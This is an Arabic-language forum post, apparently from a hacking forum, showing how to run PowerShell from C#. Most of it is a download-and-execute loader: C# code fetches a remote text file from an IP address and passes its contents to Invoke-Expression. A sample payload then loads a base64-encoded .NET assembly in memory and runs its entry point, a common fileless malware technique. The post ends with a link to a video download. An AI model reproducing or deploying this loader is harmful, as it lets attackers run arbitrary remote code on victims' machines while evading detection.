24.04.2017 Run PowerShell Commands in CSharp


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
2,821
3,865
1
كود السي شارب

C#:
var req = System.Net.HttpWebRequest.CreateHttp("http://192.168.56.1/cccc.txt");
            using (var res = req.GetResponse())
            {
                using (var stream = res.GetResponseStream())
                {
                    using (var reader = new System.IO.StreamReader(stream))
                    {
                        var remoteVersion = reader.ReadToEnd().TrimEnd();
                        PowerShell ps = PowerShell.Create();
                        ps.AddCommand("Invoke-Expression");
                        ps.AddArgument(remoteVersion);
                        ps.Invoke();
                    }
                }
            }
مثال عن محتوى ملف الtxt

C#:
[Reflection.Assembly]::Load([System.Convert]::Frombase64String('base64')).EntryPoint.Invoke($null,$null)::[Reflection.Assembly]
بس منعمل ادد ريفيرنس لـSystem.Management.Automation.dll
ونعمل للنيم سبيس الخاصه بها استخدام
لانها تحتوي على كلاسات لاستخدام الباورشيل
عرفنا متغير ك باورشيل ومن ثم مررنا له الكوماند والارجومنت "الاوامر اللي تريد تنفذيها"
ومن ثم عملنا انفوك
الفديو بالرابط التالي
https://up.top4top.net/downloadf-1036q3z1w1-zip.html